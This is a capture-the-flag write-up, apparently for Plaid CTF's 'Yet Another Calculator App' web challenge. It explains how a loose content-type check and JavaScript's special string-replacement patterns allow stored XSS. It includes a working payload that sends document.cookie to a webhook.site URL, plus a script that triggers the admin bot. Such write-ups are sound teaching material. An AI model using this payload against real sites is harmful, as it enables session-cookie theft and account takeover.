You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
nitowa 6510137042 fix typo 2 years ago
client push 2 years ago
src push 2 years ago
.yarnrc.yml push 2 years ago
Dockerfile push 2 years ago
README.md fix typo 2 years ago
package-lock.json push 2 years ago
package.json push 2 years ago
tsconfig.json push 2 years ago
yarn.lock push 2 years ago

README.md

Plaid CTF: Yet Another Calculator App

Participant: Peter Millauer / nitowa (01350868)

TL;DR / Short Summary

Classical XSS web exploit. The solution used special string replacement patterns to break out of string escapes.

Task Description

Type: Web

Task sources: https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA

Goal: Steal the cookie of the page-worker

Analysis Steps

First, I downloaded the sources and ran the program locally. For this purpose scripts were provided in package.json. The provided Dockerfile can also be used for the same effect.

Vulnerabilities / Exploitable Issue(s)

On the “Submit your Program” page we are asked to submit a program name and mathematical formula. Two formats are supported: plain formula and AST.

On the server, checks are performed to make sure the values are safe, but the check for the program type is too permissive:

// index.ts
const { type, program } = req.body;
if (
    typeof type !== "string"
    || type.match(/^[a-zA-Z\-/]{3,}$/) === null  //<-- Any Alphanumeric(plus dashes and slashes) string with length >= 3
    || typeof program.name !== "string"
    || typeof program.code !== "string"
    || program.code.length > 10000
) {
    return res.status(500).send("Invalid program");
}

The value of type is then string-replaced into the template’s script tag

//index.ts
const formattedFile = template
    .replace("{{ content-type }}", type)
    .replace("{{ program }}", sanitizedProgram);
<!-- calculator.hbs -->
<script id="program" language="json" type="{{ content-type }}">
    {{ program }}
</script>

which for the default values results in this

<script id="program" language="json" type="application/x-yaca-code">
    {"name":"New Program","code":"(-b + sqrt(b^2 - 4a*c)) / 2a"}
</script>

Solution

Using the type="application/javascript", we can turn the <script> tag into an executable javascript scope. The next challenge is to break out of the string-escaped JSON format.

To achieve this, I employed the “special string replacement template” functionality of javascript. (For further reading on string replacement patterns see References at the end of the document)

A simple proof of concept is to POST to /upload

{
    type: "application/javascript", 
    program: {
        name: "$'$`alert(1)//",
        code: "a"
    }
}

which results in a generated script tag that looks like this

<script id="program" language="json" type="application/javascript">
    alert(1)//","code":"a"}
</script>

Now all that is left is to weaponize the exploit. A simple javascript script was used and executed manually via the browser’s console.

In the first step I POST my exploit to /upload, which responds with the URL of the uploaded formula. I then redirect to that page.

(async() => {
    const response = await fetch(`http://${window.location.host}/upload`, {
        method: 'post',
        body: JSON.stringify({
            type: "application/javascript", 
            program: {
                name: "$'$`fetch('https://webhook.site/33a3e928-e7e0-4c82-92d0-30a375783f5b?x='+document.cookie, {method: 'get'})//",
                code: "a"
            }
        }),
        headers: {
            'Content-Type': "application/json"
        },
    })
    const result = await response.text()

    window.location.href = `http://${window.location.host}${result}`
})()

Since the exploit breaks the “Report” button that triggers the page-worker bot, I get the code of the associated EventListener and run it manually.

const file = location.pathname.split("/").slice(-1)[0];

fetch(`/report`, {
    method: "post",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify({ file })
});

At this point the page-worker executes my exploit payload and sends its cookie to my defined REST endpoint.

The flag value was pctf{someone_should_document_importmaps_in_mdn_probably}.

Failed Attempts

A great deal of effort went into reading ast-to-js, eval-code.mjs, lex.mjs.

The first intuition was that the AST representation of the submitted code may be attackable. However even after extensive work on the files, the presented compiler seems to work as intended and appears to be safe.

Alternative Solutions

Unknown as of yet.

Lessons Learned

I learned about the string replacement template functionality (documentation see below). Truly a horrible piece of technology that I cannot believe has any other purpose for existing other than to introduce security vulnerabilities.

Even as an experienced JS developer I had no idea these exist, and they easily take a top-3 spot in the “things I hate about Javascript” list.

References

Javascript string replacement templates